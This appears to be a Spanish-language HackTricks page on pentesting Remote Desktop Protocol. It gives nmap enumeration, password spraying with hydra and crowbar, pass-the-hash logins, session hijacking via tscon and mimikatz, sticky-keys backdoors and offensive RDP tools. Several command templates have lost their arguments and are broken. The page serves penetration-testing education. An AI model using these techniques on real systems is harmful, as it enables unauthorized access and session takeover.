# 3389 - Pentesting RDP {{#include ../banners/hacktricks-training.md}} ## Información Básica Desarrollado por Microsoft, el **Remote Desktop Protocol** (**RDP**) está diseñado para habilitar una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer tal conexión, el software cliente de **RDP** es utilizado por el usuario, y simultáneamente, se requiere que la computadora remota opere el software servidor de **RDP**. Esta configuración permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario. **Puerto por defecto:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## Enumeración ### Automático ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` Verifica la encriptación disponible y la vulnerabilidad de DoS (sin causar DoS al servicio) y obtiene información de NTLM de Windows (versiones). ### [Fuerza bruta](../generic-hacking/brute-force.md#rdp) **Ten cuidado, podrías bloquear cuentas** ### **Rociado de contraseñas** **Ten cuidado, podrías bloquear cuentas** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### Conectar con credenciales/hash conocidas ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### Verificar credenciales conocidas contra servicios RDP rdp_check.py de impacket te permite verificar si algunas credenciales son válidas para un servicio RDP: ```bash rdp_check /:@ ``` ## **Ataques** ### Robo de sesión Con **permisos de SYSTEM** puedes acceder a cualquier **sesión RDP abierta por cualquier usuario** sin necesidad de conocer la contraseña del propietario. **Obtener sesiones abiertas:** ``` query user ``` **Acceso a la sesión seleccionada** ```bash tscon /dest: ``` Ahora estarás dentro de la sesión RDP seleccionada y tendrás que suplantar a un usuario utilizando solo herramientas y características de Windows. **Importante**: Cuando accedes a sesiones RDP activas, desconectarás al usuario que la estaba utilizando. Podrías obtener contraseñas del proceso volcando su contenido, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin ser guardadas en el disco, otras sesiones RDP abiertas en otras máquinas...) #### **Mimikatz** También podrías usar mimikatz para hacer esto: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento** Puedes buscar RDPs que ya han sido backdooreados con una de estas técnicas con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection Si alguien de un dominio diferente o con **mejores privilegios inicia sesión vía RDP** en la PC donde **tú eres un Admin**, puedes **inyectar** tu beacon en su **proceso de sesión RDP** y actuar como él: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} ### Adding User to RDP group ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## Herramientas Automáticas - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn** es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque **Shadow** en computadoras Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto **ver el escritorio de su víctima sin su consentimiento**, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Controlar el mouse y el teclado de manera automatizada desde la línea de comandos - Controlar el portapapeles de manera automatizada desde la línea de comandos - Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red hacia el objetivo a través de RDP - Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos - Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo - [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) Esta herramienta permite ejecutar comandos en el RDP de la víctima **sin necesidad de una interfaz gráfica**. ## Comandos Automáticos de HackTricks ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` {{#include ../banners/hacktricks-training.md}}